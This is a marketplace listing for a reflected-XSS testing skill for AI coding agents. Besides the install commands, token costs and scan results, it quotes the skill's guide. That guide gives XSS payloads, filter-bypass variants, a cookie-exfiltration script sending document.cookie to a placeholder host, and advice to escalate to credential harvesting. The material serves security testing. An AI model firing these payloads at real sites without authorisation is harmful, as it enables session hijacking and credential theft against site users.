xss-reflected

xss-reflected is a skill for Claude Code, Codex from SecurityTalent/bugskill-ai. It costs 92 tokens per session (1,648 once invoked), scanned A, original, MIT.

A security testing guide for reflected cross-site scripting (XSS), where input from a request is returned in a web page and treated as executable code by the browser.

In plain words
What is it for?
It is for checking URL parameters, form fields, headers, cookies, error pages, and other inputs for missing output encoding.
Why use it?
It helps find pages where an attacker can craft a link that runs code when another person opens it.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: mentions Claude Code.

Good fit It is for checking URL parameters, form fields, headers, cookies, error pages, and other inputs for missing output encoding.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/securitytalent/bugskill-ai/xss-reflected
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add SecurityTalent/bugskill-ai --skill xss-reflected
Clone the repo
git clone --depth 1 https://github.com/SecurityTalent/bugskill-ai

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for xss-reflected

README.md
[![agentmods](https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/xss-reflected/github.svg)](https://agentmods.dev/skills/securitytalent/bugskill-ai/xss-reflected)
Your own site
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/xss-reflected"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/xss-reflected/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for xss-reflected

Your own site · 80×15
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/xss-reflected"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/xss-reflected.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 92 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,648 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00092 $0.01648
Opus 5.5 $0.00037 $0.00659
Sonnet 5.5 $0.00018 $0.00330
Haiku 4.5 $0.00009 $0.00165

Measured 20d ago against content hash 01510d1db418, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade A, and why

xss-reflected scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 20d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Awesome-Claude-Code-Agent-Skills/02-Web-Application-Security/xss-reflected/SKILL.md · 126 lines

How it starts

The opening of the file, as written. The whole thing — 126 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Reflected Cross-Site Scripting (XSS)

What Is Broken and Why

Reflected XSS occurs when an application takes user-supplied data (URL parameters, form fields, HTTP headers) and includes it in the HTTP response without proper output encoding. The browser interprets the injected content as executable script, running in the context of the vulnerable origin. Because the payload travels in the request, the attacker must socially-engineer the victim into clicking a crafted link. The root cause is missing context-aware output encoding.

Key Signals

  • Input parameter value appears verbatim in the HTML response source
  • Special characters <, >, ", ', & are not HTML-encoded in responses
  • JavaScript context: input reflected inside <script> blocks or event handlers without escaping ', ", \
  • Error messages or page titles echoing raw query strings
  • HTTP headers (User-Agent, Referer) reflected in error pages

Methodology

  1. Map all input vectors: URL parameters, POST body fields, hidden form fields, HTTP headers, cookie values.
  2. Submit a canary string (e.g., xss12345) and search the response for its unencoded presence.
  3. Identify the HTML context of the reflection: tag body, attribute, script block, URL, CSS.
  4. Craft a context-appropriate payload:
    • Tag body: <script>alert(1)</script>
    • Attribute: " onfocus="alert(1) or " onmouseover="alert(1)
    • Script block: ';alert(1)//
    • URL context: javascript:alert(1)
  5. Test filter bypass variants if initial payloads are blocked.
  6. Verify execution in a real browser (not just source inspection).
  7. Escalate to cookie theft, credential harvesting, or redirect payloads.

Payloads & Tools

# Basic tag-body injection
TARGET/page?user=<script>alert(1)</script>

# Attribute context break-out
TARGET/page?user="><script>alert(document.cookie)</script>
TARGET/page?user=" onfocus="alert(1)" autofocus="

# Script block context
TARGET/page?user=';alert(document.cookie)//

# Cookie exfiltration
TARGET/page?user=<script>document.location='http://VICTIM/steal?c='+document.cookie</script>

# Link manipulation via onload
TARGET/page?user=<script>window.onload=function(){var a=document.getElementsByTagName('a');a[0].href='http://VICTIM/malicious';}</script>

# Filter bypass: case variation
TARGET/page?user="><ScRiPt>alert(1)</ScRiPt>

# Filter bypass: space in tag
TARGET/page?user="><script >alert(1)</script >

# Filter bypass: URL encoding
TARGET/page?user=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E

# Filter bypass: double-encoded
TARGET/page?user=%2522%253E%253Cscript%253Ealert(1)%253C%252Fscript%253E

# Filter bypass: non-recursive filter
TARGET/page?user=<scr<script>ipt>alert(1)</script>

# HTTP Parameter Pollution
TARGET/page?param=<script&param=>alert(1)</&param=script>

# Burp Suite Intruder with XSS payloads wordlist
# Load: Intruder -> Payloads -> Load fuzz-XSS.txt from SecLists

Read the full file on GitHub · 126 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 20d ago First seen · 126 lines · 92 tokens per session scan A 01510d1db418

Subscribe to this mod's changes

xss-reflected is a skill published in the GitHub repository SecurityTalent/bugskill-ai (13 stars, last pushed 21d ago), licensed MIT. It adds 92 tokens to every session and 1,648 once invoked, about $0.0004 per session on Opus 5.5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-27.

Related

Other skills, from other repositories

playwright-best-practices

Use when writing Playwright tests, fixing flaky tests, debugging failures, implementing Page Object Model, configuring CI/CD, optimizing performance, mocking APIs, handling authentication or OAuth, testing accessibility (axe-core), file uploads/downloads, date/time mocking, WebSockets, geolocation, permissions…

currents-dev/playwright-best-practices-skill · 214 tokens

fullpage-screenshot

Capture full-page screenshots of a website at several viewport widths at once, including pages behind basic auth or needing setup clicks. Use when asked to screenshot a site, grab full-page captures, check a page across breakpoints, produce responsive review artefacts, or compare how a layout renders at mobile, tablet…

mad-coders/fullpage-screenshot-ai-skill · 69 tokens

legado-book-source-generator

A skill for analysing websites and generating book-source rules for Legado, an app that reads online novels and other books. It is triggered by requests involving book sources, Legado rules, or novel-site analysis.

Narylr350/book-source-creator-skill · 84 tokens

serpbase-skill

Agent-portable SerpBase skill for Codex, Claude Code, OpenClaw, opencode, and other AI coding/research agents. Use when an agent needs current Google Search, Images, News, Videos, Google Maps local search, or Google Maps place detail results through serpbase.dev; when configuring search grounding through SerpBase; or…

serpbase-dev/serpbase-skill · 98 tokens

reddit-skills

Reddit automation skill collection. Supports authentication, content publishing, search & discovery, social interactions, and compound operations. Triggered when a user asks to operate Reddit (post, search, comment, login, analyze, upvote, save).

beggarticksarthurtatum121/reddit-skills · 51 tokens

hasdata

Use HasData to scrape any public web page, run real-time Google/Bing/Google-AI-Mode search queries, pull structured data from e-commerce, real-estate, lodging, jobs, maps, travel, video, and social platforms, or run async bulk-scraping and crawling jobs without managing proxies, browsers, or captchas. Reach for this…

HasData/agent-skills · 154 tokens